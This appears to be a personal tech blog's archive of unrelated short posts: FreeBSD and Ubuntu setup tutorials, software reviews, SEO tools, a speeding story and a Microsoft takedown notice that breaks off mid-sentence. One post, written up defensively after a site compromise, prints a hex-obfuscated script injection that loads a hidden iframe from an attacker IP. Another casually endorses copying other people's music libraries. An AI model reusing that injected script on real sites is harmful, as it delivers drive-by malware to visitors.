If the command: # /usr/local/share/mysql/mysql.server start doesn’t work or fails, try this command:
# /usr/local/etc/rc.d/mysql-server.sh start

# /usr/local/bin/mysqladmin -u root -h Hostname.domainname.tld password ‘YourPassword’
# /usr/local/bin/mysqladmin -u root password ‘YourPassword’

Example:

# /usr/local/bin/mysqladmin -u root -h webserver.peter-v.com password ’secret’
# /usr/local/bin/mysqladmin -u root password ’secret’

Now let’s install Perl DBI and DBD Support (which many apps need that run using Apache and MySQL):

# cd /usr/ports/databases/p5-DBI && make install && make clean
# cd /usr/ports/databases/p5-DBD-mysql50 && make install && make clean

Reboot.

That’s it, your all done and now you’ve got yourself a FAMP Webserver.

Tips:

If at anytime in this tutorial a command doesn’t work, try rebooting first. Sometimes after installing certain applications or components it is required to reboot before being able to utilize it. After a quick reboot it always works.

I would love to hear your comments and if you have any suggestions or issues with this tutorial please leave a comment, thanks!

PC-BSD is a complete desktop operating system, which has been designed with the “casual” computer user in mind. It offers the stability and security that only a BSD-based operating system can bring, while as the same time providing a comfortable user experience, allowing you to get the most out of your computing time. With PC-BSD you can spend less time working to fix viruses or spyware and instead have the computer work for you.

Installing the system is simply a matter of a few clicks and a few minutes for the installation process to finish. Hardware such as video, sound, network and other devices will be auto-detected and available at the first system startup. Home users will immediately feel comfortable with PC-BSD’s desktop interface, with KDE 3.5 running under the hood. Software installation has also been designed to be as painless as possible, simply double-click and software will be installed.

Get PC-BSD now and get with the program.

# fetch http://people.freebsd.org/~cperciva/freebsd-update-upgrade.tgz

Downloading and verifying the digital signature for the tarball (signed by the FreeBSD Security Officer’s PGP key) is highly recommended.# fetch http://people.freebsd.org/~cperciva/freebsd-update-upgrade.tgz.asc

# gpg --verify freebsd-update-upgrade.tgz.asc freebsd-update-upgrade.tgz

The new freebsd-update(8) can then be extracted and run as follows:# tar -xf freebsd-update-upgrade.tgz

# sh freebsd-update.sh -f freebsd-update.conf -r 6.3-RELEASE upgrade

# sh freebsd-update.sh -f freebsd-update.conf install

The system must be rebooted with the newly installed kernel before continuing.# shutdown -r now

Finally, freebsd-update.sh needs to be run one more time to install the new userland components, and the system needs to be rebooted one last time:# sh freebsd-update.sh -f freebsd-update.conf install

# shutdown -r now

For more information, see:http://www.daemonology.net/blog/2007-11-10-freebsd-minor-version-upgrade.html

Here is a sneak peak at what Apple may be cooking up. There are several sites that did a decent enough write up so I will just provide links. When this thing hits the market I will be the first to buy one – I LOVE THIS IDEA!!

Gizmodo

Engadget

A couple days before Christmas I received an envelope from Kherson, Ukraine. I wasn’t sure why I had received a letter from the Ukraine considering I don’t know anyone from there, I thought it was some sort of mistake or just a marketing piece. I opened the envelope and pulled out a very rich and shiny holiday card with a little WebCEO logo at the bottom. I figured it was just a holiday promotion printed in the masses – I was wrong.

I opened the card and found a long, had written letter addressed to me – wishing me a safe and happy holiday season. The letter was well written and by the looks of it not rushed at all. In addition the letter never once mentioned anything about business, their products, money, or a holiday deal – just a letter hoping and wishing I have a wonderful holiday.  WOW.

Now this is what I call great marketing, you see they didn’t have to mention what they are about or what they are selling – not even a holiday coupon or discount – just a hand written personal letter directed to me. It made me feel great! I was very impressed with what I saw and very happy to be a customer of theirs. More importantly (for them) it made me think about WebCEO and their products.

In my opinion this is the kind of thing that separates companies apart; even though there aren’t many comparable applications to WebCEO available today I would stick with WebCEO regardless. Something like this shows me (the customer) that I am important to them and they care about me and my business (which they do).
Take note of this guys, a great marketing campaign with little cost and a bigger impact than you could imagine. Thank you WebCEO – Happy Holidays!

System>Administration>Software Sources

Select the “Third Party” tab and un-check “cdrom:” – reload your sources and your good to go!

Open terminal and type in the following command:

$ sudo apt-get install php5-gd

Now restart Apache

# sudo /etc/init.d/apache2 restart

There you go, you now have GD Support for PHP5 in Ubuntu. Get your Drupal on!

System>Administration>Synaptic Package Manager:
Settings>Repositories>Third-Party Software Tab:

Click the Add button and add this repository:

deb http://giss.tv/~vale/ubuntu32 ./

Close, Reload the search “Cinelerra”. Mark for install & hit Apply (to install). When that is done just close out of Synaptic.

Now open terminal and type (I use ee to edit but you can also use gedit):

sudo ee /etc/sysctl.conf

And add this line to the bottom of the file (this adds the extra memory for Cinelerra to run properly):

kernel/shmmax=0x7fffffff

Now save and close and run this command (instead of rebooting):

sudo sysctl -p

Now go to Applications> Sound & Video>Cinelerra and get your editing on!

/bin – Contains the executable programs that are part of the Linux operating system. Many Linux commands, such as cat, cp, ls, more, and tar, are locate in /bin

/boot – Contains the Linux kernel and other files needed by LILO and GRUB boot managers.

/dev – Contains all device files. Linux treats each device as a special file. All such files are located in /dev.

/etc – Contains most system configuration files and the initialisation scripts in /etc/rc.d subdirectory.

/home – Home directory is the parent to the home directories of users.

/lib – Contains library files, including loadable driver modules needed to boot the system.

/lost+found – Directory for lost files. Every disk partition has a lost+found directory.

/media – Directory for mounting files systems on removable media like CD-ROM drives, floppy disks, and Zip drives.

/mnt – A directory for temporarily mounted filesystems.

/opt – Optional software packages copy/install files here.

/proc – A special directory in a virtual filesystem. It contains the information about various aspects of a Linux system.

/root – Home directory of the root user.

/sbin – Contains administrative binary files. Commands such as mount, shutdown, umount, reside here.

/srv – Contains data for services (HTTP, FTP, etc.) offered by the system.

/sys – A special directory that contains information about the devices, as seen by the Linux kernel.

/tmp – Temporary directory which can be used as a scratch directory (storage for temporary files). The contents of this directory are cleared each time the system boots.

/usr – Contains subdirectories for many programs such as the X Window System.

/usr/bin – Contains executable files for many Linux commands. It is not part of the core Linux operating system.

/usr/include – Contains header files for C and C++ programming languages

/usr/lib – Contains libraries for C and C++ programming languages.

/usr/local – Contains local files. It has a similar directories as /usr contains.

/usr/sbin – Contains administrative commands.

/usr/share – Contains files that are shared, like, default configuration files, images, documentation, etc.

/usr/src – Contains the source code for the Linux kernel.

/var – Contains various system files such as log, mail directories, print spool, etc. which tend to change in numbers and size over time.

/var/cache – Storage area for cached data for applications.

/var/lib – Contains information relating to the current state of applications. Programs modify this when they run.

/var/lock – Contains lock files which are checked by applications so that a resource can be used by one application only.

/var/log – Contains log files for differenct applications.

/var/mail – Contains users’ emails.

/var/opt – Contains variable data for packages stored in /opt directory.

/var/run – Contains data describing the system since it was booted.

/var/spool – Contains data that is waiting for some kind of processing.

/var/tmp – Contains temporary files preserved between system reboots.

This is a great post and very helpful for anyone diving into Linux, see the original post here: Linux Directory Structure

To give you an idea of my experience with email servers (so you can better understand how good MailEnable) I have 3 email servers for either specific business requirements or unique technology needs. The first server I have is a Microsoft Windows 2008 Server running MS Exchange 2007, another one is a FreeBSD server running QMail, and the third one is MailEnable on a Microsoft Windows 2003 box. All three of these email servers are great but one is very expensive and at times very difficult and temperamental (Exchange). Qmail on FreeBSD runs like there is no tomorrow, never any issues and reliable as all hell but also can be a pain if you are someone who doesn’t know Unix very well.

MailEnable seriously meets every need and expectation I have for an email server. It is highly configurable, much like Exchange, but it doesn’t cost a dime. There are 2 paid versions of MailEnable in addition to the killer free one, both strapped with many more options and unique features but as advanced as my needs are with all aspects of my computer life, MailEnable does just fine.

Here are just a few things the FREE version of MailEnable has to offer (god I sound like a salesman – I assure you I won’t make a single penny off this post, I seriously like MailEnable a lot!!)

Mail Protocols – MailEnable Standard Edition provides robust, stable and fully functional POP and SMTP mail services supporting unlimited users and domains.

Administration – The Administration application allows configuration of mail services via an easy-to-use and familiar Microsoft Management Console application. Administrative features include mailbox quotas, redirections, auto-responders, import/export users, create groups and much more…

List server – Includes a fully functional list server allowing you to subscribe or unsubscribe members and provide information mail outs or discussion groups.

Security – Extensive security measures and authentication methods protect your mail server from unauthorized access. Features include SMTP Authentication, Integrated Windows Authentication, Relay control.

Control panel integration – MailEnable integrates with several different third party control panel software products.

Diagnostic Reporting – Standard Edition includes advanced diagnostics via a comprehensive Diagnostic Reporting Utility which assists in quick diagnosis of issues and speedy resolution. Features extensive logging in W3C file format to easily determine faults.

Anti-Spam – MailEnable Standard has several inbuilt features to help eliminate spam. anti-spam features include PTR record checking, DNS blacklisting, auto-banning of IP addresses and much more. MailEnable is a standards-compatible mail server it can be used with a large variety of third party anti-spam software.

Here’s some screenshots:

Click here to learn more about MailEnable and download. 

I am not sure exactly what this script does since I use Linux and Firefox 2 but when I checked out my site on my wife’s computer (Microsoft Windows Vista & IE7) a ton of crap started happening. My web browser froze, my anti-virus was alerting me of potential viruses, and a bunch of Windows errors popped up including the BSOD (isn’t blue screens a thing of the past? LOL).

Anyways I took several steps to ensure whatever or whoever got in was blocked; I notified my host to block the IP receiving whatever information from that bullshit script. Here is what I found:

<script> var s=’3C696672616D65207372633D22687474703A2F2F31
39352E352E3131362E3235302F65782F7374617469632E706870222077
696474683D32206865696768743D32207374796C653D22646973706C61
793A6E6F6E65223E3C2F696672616D653E’; var o=”; for(i=0;i<s
.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.
substr(i,2);} document.write(unescape(o)); </script>

The IP address is: 195.5.116.250

After catching this I quickly changed my server passwords, verified that ftp was disabled and the ports were closed (along with all other unused ports), and chmod 755 (instead of 777) the world-writable and uploads directories. After I removed the script from the header I also did a full blown search on every template file. Problem solved.

These kind of things always happen and my advice is to always check html for any changes. It is also very important to change your passwords regularly and keep your ftp ports CLOSED, only use SSH or SFTP if you can. I also have added checking file permissions to my security checklist, every week or so I plan to run through my web files and verify no changes have been made.

The following list has been provided by the Hollywood Stock Exchange, sign up – its free!!

SEO tools for Firefox:

1. Search Status: This toolbar provides extensive search-related information about a site, all conveniently displayed in one discreet and compact toolbar. I use everything this tool has to offer but my favorite feature is the display of site’s Google PR, Alexa, and Compete at the base of my browser.

2. SEO for Firefox: Aaron Wall from SEOBook had this neat little tool developed and I love it. Tons of stats show for every listing in Google’s SERP whenever you search anything. This tool has to be one of the best SEO tools out there and without it a lot of my time would be wasted.

3. Social Media for Firefox: I already posted about this but this tool is worth the time to write about again. You can see my original post here but for those of you SEO/SEM Social Network guys like myself this tool just rocks and is definitely a major time saver.

Here is a list of other extensions I use including a few other SEO/SEM plug ins:

- SEOpen: This tool packs a ton of SEO tools, most I use daily.

- SEOLinks: Neat little tool that shows link stats with mouse over.

- Link Checker: Don’t get caught with broken links again.

- ShowIP: Love this tool for when I swing DNS records.

- ServerSpy: Great extension to show what type of server & version the site is hosted on (i.e. Apache 2, IIS 7.0, etc).

Main Card*

• Lightweight bout:  Clay Guida vs.  Roger Huerta
• Welterweight finals bout:  Mac Danzig vs.  Tommy Speer
• Welterweight Bout:  Jon Koppenhaver vs.  Jared Rollins
• Welterweight Bout:  Billy Miles vs.  George Sotiropoulos
• Welterweight Bout:  Dan Barrera vs.  Ben Saunders

Preliminary Card*

• Welterweight Bout:  Matt Arroyo vs.  John Kolosci
• Welterweight Bout:  Paul Georgieff vs.  Jonathan Goulet
• Welterweight Bout:  Dorian Price vs.  Roman Mitichyan
• Welterweight Bout:  Troy Mandaloniz vs.  Richie Hightower

*References: Wikipedia – The Ultimate Fighter: Team Hughes vs. Team Serra

I do not recommend installing Ubuntu 8.04 on a production machine due to the amount of bugs and expected breakage as with any Alpha stage application or operating system. If you are interested in testing or even fixing bugs then get your download on!!

Ubuntu 8.04 LTS (Hardy Heron) Download

Good Luck!

After installing AWN you add these repositories to your source.list:

deb http://download.tuxfamily.org/syzygy42 gutsy avant-window-navigator
deb-src http://download.tuxfamily.org/syzygy42 gutsy avant-window-navigator

And when you sudo apt-get update you get this error:

W: GPG error: http://download.tuxfamily.org gutsy Release: The following signatures couldn’t be verified because the public
key is not available: NO_PUBKEY 3E231AC7F4ECF181

To fix this, please run the following commands:

$ wget http://download.tuxfamily.org/syzygy42/reacocard.asc
$ sudo apt-key add reacocard.asc
$ rm reacocard.asc

Now run

$ sudo apt-get update

No more errors!

Currently there are 4 XAMPP distros:

* XAMPP for Linux
The distribution for Linux systems (tested for SuSE, RedHat, Mandrake and Debian) contains: Apache, MySQL, PHP & PEAR, Perl, ProFTPD, phpMyAdmin, OpenSSL, GD, Freetype2, libjpeg, libpng, gdbm, zlib, expat, Sablotron, libxml, Ming, Webalizer, pdf class, ncurses, mod_perl, FreeTDS, gettext, mcrypt, mhash, eAccelerator, SQLite and IMAP C-Client.

* XAMPP for Windows
The distribution for Windows 98, NT, 2000, 2003, XP and Vista. This version contains: Apache, MySQL, PHP + PEAR, Perl, mod_php, mod_perl, mod_ssl, OpenSSL, phpMyAdmin, Webalizer, Mercury Mail Transport System for Win32 and NetWare Systems v3.32, Ming, JpGraph, FileZilla FTP Server, mcrypt, eAccelerator, SQLite, and WEB-DAV + mod_auth_mysql.

* XAMPP for Mac OS X
The distribution for Mac OS X contains: Apache, MySQL, PHP & PEAR, SQLite, Perl, ProFTPD, phpMyAdmin, OpenSSL, GD, Freetype2, libjpeg, libpng, zlib, Ming, Webalizer, mod_perl, eAccelerator, phpSQLiteAdmin.

WARNING: This version of XAMPP is still in the first steps of development. Use at you own risk!

* XAMPP for Solaris
The distribution for Solaris (developed and tested with Solaris 8, tested with Solaris 9) contains: Apache, MySQL, PHP & PEAR, Perl, ProFTPD, phpMyAdmin, OpenSSL, Freetype2, libjpeg, libpng, zlib, expat, Ming, Webalizer, pdf class.

WARNING: This version of XAMPP is still in the first steps of development. Use at you own risk!

Click here to read more about XAMPP & download

Does this car look familiar? Of coarse it does, it’s the talk of the town right now! Rob is the only person in the US to own the LP640 Lamborghini Murcielago, he also happens to own one of the largest adult production companies on the net – located in Scottsdale Arizona.

Rob and a buddy of his decided to see what this car was made of and tested it out on the 202 freeway, taking it to a staggering 211MPH. After a quick pit stop they felt that wasn’t enough and again they hit the road and broke their prior record by driving 219MPH – ON A PUBLIC FREEWAY.

I guess the fun part comes when Rob decided to video tape it and upload it on YouTube, considering there is only one person in the US to blame for this felony… Rob “aka FTVROB”.

What do I think? I thought it was a pretty cool video up until the part where I saw the street signs and realized thats where I drive at night. At 219MPH there is no margin for error, everything driving on that highway would be considered an error.

Already there are hundreds of sites on the net that utilize this and many base the majority of their revenues off of it. I am not interested in the systems out their that actually payout to their member base, like a revshare affiliate program, I like the programs that allow you to turn in your points for custom features, better exposure, stickers & t-shirts, and more.

There are several ways to accomplish this, the following is my favorite and the only one I am going to talk about :

- Using an internal affiliate program to provide your members with a unique URL. The more people that click on a members unique URL, the more points they earn. When those clicked unique URL’s turn into conversions, even more points are earned. Look at this very popular gaming site called Outwar, they follow this model almost to a “T” and make hundreds of thousands of dollars doing so.

This method, if not monitored closely and built around a solid TOS, can hurt you as it may be considered SPAM by sites (forums, blogs, etc) receiving these posted URLs. Just be smart about it. That being said, this method can grow your traffic like crazy; let’s say for example that you have 10 members – everyday each member can recruit 10 more people from their unique URL’s and everyday half of them sign up and continue to recruit more members. I’ll let you do the math here but after 30 days your member base is considerably larger and growing! Obviously this is a picture perfect scenario but I hope you see what I am trying to get at here.

If you have a monthly membership fee, and award can be a free month membership or even a more exclusive membership only earned by playing the game. The list goes on and on with things you can provide your members that play along.

Now for you, the webmaster or marketing guy, this will really build your traffic and exposure for your ad campaigns. Hopefully there is something to your site aside from this point system that keeps the members around and is complimented by the point & reward system.

I am currently developing a system like this using an open source ad management application and an open source affiliate program. I will also be using an open source shopping cart for the points to be cashed in at. The reason why I am tying the ad management application into the mix is to provide members with the ability to earn revshare off of ad zones placed on their personal pages (i.e. forum posts, blogs, articles, etc).

The more you give to your members/readers/surfers, the more they will want to give to you – just play fair. Don’t ask form 1,000 sign ups for a t-shirt – you’ll be stuck with 1,000 t-shirts!

For the people who know me – they know that I am a Firefox extension whore and I try everything out there and I keep only what I HAVE TO have. This is on my favorite list of extensions, get it.

Download Social Media for Firefox here and please pass it on – its a tool worthy of exposure (like my blog, LOL!)

With a mixture of disenfranchisement, intimidation, faulty ballots, electronic voting fraud, rigging vote counts, and aborting recounts (tools that Bush has been known to use: i.e. Florida 2000, Ohio 2004) I think there is more than a chance this could happen. The question is… could we stop it?

For you that know me – you know I am far from political. This has sparked my interest a little. I’d love to hear how more political people feel about this topic.

IEs4Linux also is working hard on their next release which allows “us” Linux users to run Microsoft IE7!! I’ve been playing with the beta release of Internet Explorer 7 on Ubuntu and you can download the beta here.

IEs4Linux is probably the easiest app I have installed and works wonderfully in Ubuntu 7.10 (Gutsy Gibbon). It’s there when I need it and it’s fast, all three versions.

To install IEs4Linux you have to enable universe packages first. It is also recommended that you use the official winehq ubuntu package:

1) Open a terminal

2) Open /etc/apt/sources.list

sudo gedit /etc/apt/sources.list

3) Uncomment (or add) following lines:

deb http://us.archive.ubuntu.com/ubuntu edgy universe

4) Add this line:

deb http://wine.budgetdedicated.com/apt edgy main

5) Close gedit. Update and install wine and cabextract:

wget -q http://wine.budgetdedicated.com/apt/387EE263.gpg -O- | sudo apt-key add -
sudo apt-get update
sudo apt-get install wine cabextract

6) Download IEs 4 Linux and install

wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz
tar zxvf ies4linux-latest.tar.gz
cd ies4linux-*
./ies4linux

Note for Dapper users: if you use ubuntu dapper, replace edgy with dapper on lines above. Note for Feisty users (7.04): if you use ubuntu Feisty, replace edgy with feisty in the lines above. Also replace gedit with kedit if running Kubuntu instead of Ubuntu.

For more information or steps to install on other distro’s please visit IEs4Linux.

If you find this application useful please donate here – this open source app was developed by Sérgio Luís Lopes Júnior, a 21 year old college student in Brazil. I always donate – it is really important to keep these guys (and kids) going.

What I think? FaceBook dominates MySpace up and down – for the time being that is. A lot of people claim that the 1 dimensional page like FaceBook and MySpace will soon be a thing of the past and 3D worlds will become an everyday thing. I completely disagree – 3D worlds take too long to load and waste a lot of time (finding people, communicating, etc); white pages like Facebook get to the point and do a great job at it. Cars have 4 wheels and work great, do you think future cars will have more wheels? Probably not but I bet the features and efficiency of cars in the future will be much greater. Catch my drift?

The future of social networks will be more efficient, right to the point, and even faster. Do you think I am wrong? Fill me in on what I’ve missed and where you think social networks will go.

BTW I think MySpace blows. ;)

Anyways, I’ve installed a bunch of neat apps and customized the heck out of it using Mac4Lin and Compiz-Fusion. Below you’ll find several screenshots of my desktop at the time I wrote this and I will make sure to post my app list and how too’s soon – till the please enjoy and post your comments!!

Updated Desktop Screenshot:

Favorite FTP Application: WinSCP

Favorite Telnet & SSH Application: PuTTY

Favorite Internet Browser: Firefox 2 & Safari

Favorite Imaging Software: Adobe Photoshop CS3 – Open Source: Gimp

Favorite Instant Messanger: Application: Trillian – Web Based: Meebo

Favorite Text Editor (HTML, CSS, etc): Edit Plus 2

Favorite CD/DVD & ISO Software: MagicISO

Favorite Office Suite: Microsoft Office 2007 – Open Source: Open Office & Star Office

Favorite Compression & Encryption Software: WinRAR

Favorite Blogging Software: Windows Live Writer

Favorite AntiVirus/Malware Software: Eset NOD32

Favorite Email Client: Microsoft Outlook 2007 (for exchange) – Open Source: Mozilla Thunderbird 2

Favorite BitTorrent Application: Azureus

This list is way from a complete one and to be honest I have been moving away from Windows all together and replacing them with Mac’s. Sorry Microsoft guys – I have been bit by the Apple bug. I also have a laptop running Fedora 8 and I’ll make sure I write a favorite’s list for both Apple and Linux soon.

So whats new in Firefox 3 you ask? Firefox 3 Beta 1 is based on the new Gecko 1.9 Web rendering platform, which has been under development for the past 27 months and includes nearly 2 million lines of code changes, fixing more than 11,000 issues. Gecko 1.9 includes some major re-architecting for performance, stability, correctness, and code simplification and sustainability. Firefox 3 has been built on top of this new platform resulting in a more secure, easier to use, more personal product with a lot under the hood to offer website and Firefox add-on developers.

More Security

* One click site info: Click the site favicon in the location bar to see who owns the site. Identity verification is prominently displayed and easier to understand. In later versions, Extended Validation SSL certificate information will be displayed.
* Malware Protection: malware protection warns users when they arrive at sites which are known to install viruses, spyware, trojans or other malware. You can test it here (note: our blacklist of malware sites is not yet activated).
* New Web Forgery Protection page: the content of pages suspected as web forgeries is no longer shown. You can test it here.
* New SSL error pages: clearer and stricter error pages are used when Firefox encounters an invalid SSL certificate.
* Add-ons and Plugin version check: Firefox now automatically checks add-on and plugin versions and will disable older, insecure versions.
* Secure add-on updates: to improve add-on update security, add-ons that provide updates in an insecure manner will be disabled.
* Anti-virus integration: Firefox will inform anti-virus software when downloading executables.
* Vista Parental Controls: Firefox now respects the Vista system-wide parental control setting for disabling file downloads.

Easier to Use

* Easier password management: an information bar replaces the old password dialog so you can now save passwords after a successful login.
* Simplified add-on installation: the add-ons whitelist has been removed making it possible to install extensions from third-party sites in fewer clicks.
* New Download Manager: the revised download manager makes it much easier to locate downloaded files.
* Resumable downloading: users can now resume downloads after restarting the browser or resetting your network connection.
* Full page zoom: from the View menu and via keyboard shortcuts, the new zooming feature lets you zoom in and out of entire pages, scaling the layout, text and images.
* Tab scrolling and quickmenu: tabs are easier to locate with the new tab scrolling and tab quickmenu.
* Save what you were doing: Firefox will prompt users to save tabs on exit.
* Optimized Open in Tabs behavior: opening a folder of bookmarks in tabs now appends the new tabs rather than overwriting.
* Location and Search bar size can now be customized with a simple resizer item.
* Text selection improvements: Multiple text selections can be made with Ctrl/Cmd; Double-click drag selects in “word-by-word” mode; Triple-clicking selects a paragraph.
* Find toolbar: the Find toolbar now opens with the current selection.
* Plugin management: users can disable individual plugins in the Add-on Manager.
* Integration with Vista: Firefox’s menus now display using Vista’s native theme.
* Integration with the Mac: Firefox now uses the OS X spellchecker and supports Growl for notifications of completed downloads and available updates.

More Personal

* Star button: quickly add bookmarks from the location bar with a single click; a second click lets you file and tag them.
* Tags: associate keywords with your bookmarks to sort them by topic.
* Location bar & auto-complete: type the title or tag of a page in the location bar to quickly find the site you were looking for in your history; favicons, bookmark, and tag indicators help you see where results are coming from.
* Smart Places Folder: quickly access your recently bookmarked and tagged pages, as well as you more frequently visited pages with the new smart places folder on your bookmark toolbar.
* Bookmarks and History Organizer: advanced search of your history and bookmarks with multiple views and smart folders to store your frequent searches.
* Web-based protocol handlers: web applications, such as your favorite webmail provider, can now be used instead of desktop applications for handling mailto: links from other sites. Similar support is available for other protocols (Web applications will have to first enable this by registering as handlers with Firefox).
* Easy to use Download Actions: a new Applications preferences pane provides a better UI for configuring handlers for various file types and protocol schemes.

Improved Platform for Developers

* New graphics and font handling: new graphics and text rendering architectures in Gecko 1.9 provides rendering improvements in CSS, SVG as well as improved display of fonts with ligatures and complex scripts.
* Native Web page forms: HTML forms on Web pages now have a native look and feel on Mac OS X and Linux (Gnome) desktops.
* Color management: (set gfx.color_management.enabled on in about:config and restart the browser to enable.) Firefox can now adjust images with embedded color profiles.
* Offline support: enables web applications to provide offline functionality (website authors must add support for offline browsing to their site for this feature to be available to users).
* A more complete overview of Firefox 3 for developers is available for website and add-on developers.

Improved Performance

* Reliability: A user’s bookmarks, history, cookies, and preferences are now stored in a transactionally secure database format which will prevent data loss even if their system crashes.
* Speed: Major architectural changes (such as the move to Cairo and a rewrite to how reflowing a page layout works) put foundations in place for major performance tuning which have resulted in speed increases in Beta 1, and will show further gains in future Beta releases.
* Memory usage: Over 300 individual memory leaks have been plugged, and a new XPCOM cycle collector completely eliminates many more. Developers are continuing to work on optimizing memory use (by releasing cached objects more quickly) and reducing fragmentation.

A more complete, yet “unofficial” list of Firefox 3 changes with their bug numbers is available at the Burning Edge website.

Click here to download the latest beta of Firefox 3.0 now!

Music Rescue is an application that allows you to copy your (or anyone else’s) tracks to any computer you choose. If you’re not allowed to install iTunes (like at school or work), simply install Music Rescue onto your iPod at home and it’ll be available wherever you go – Mac or PC.

I installed Music Rescue on my Mac and all I had to do was plug in my iPhone and it transfered everything over, in MP3 format!! I grabbed my buddies video iPod and downloaded his entire library – all 22,000 MP3’s (which I quickly deleted because that is considered illegal… LOL). I now have a little over 44,000 MP3’s and growing! I totally recommend this application for any of you who have been burned by iTunes (I have lost hundreds of songs in the past and I can’t re-download them) or for the guys who just want to build their library like mad!!

KennettNet’s Music Rescue

I do think that Aaron Wall and his new wife are trying to stir the pot a little and get some linkbait. Aaron has a lot of knowledge in SEO and I don’t think he will just throw things out there with no thought. I also don’t think Aaron would do anything to piss Matt Cutts off considering Matt helped Aaron when Aaron was getting sued from a business/client of his…

Matt Cutts

Aaron Wall – SEOBook

In the USA we have freedom of speech, you have the right to speak freely… that is until lawyers don’t want you to. Sorry guys.

“04 February 2008

Dear Sir or Madam,

Microsoft has received information that the domain listed above, which appears to be on servers under your control, is offering unlicensed copies of, or is engaged in other unauthorized activities relating to copyrighted works published by Microsoft.

1. Identification of copyrighted works:

Copyrighted work(s):
Office 2008 for Mac Beta

Copyright owner:
Microsoft Corporation

2. Copyright infringing material or activity found at the following location(s): http://www.peter-v.com/50/microsoft-office-2008-for-mac-v1200-beta-expiration-crack/

The above location is offering ‘Cracks’ or ‘Product Keys’, intended to circumvent technical measures that control access to Microsoft’s copyrighted works and that protect Microsoft’s copyrights in those works.

3. Statement of authority:

The information in this notice is accurate, and I hereby certify under penalty of perjury that I am authorized to act on behalf of Microsoft, the owner of the copyright(s) in the work(s) identified above. I have a good faith belief that none of the materials or activities listed above have been authorized by Microsoft, its agents, or the law.

We hereby give notice of these activities to you and request that you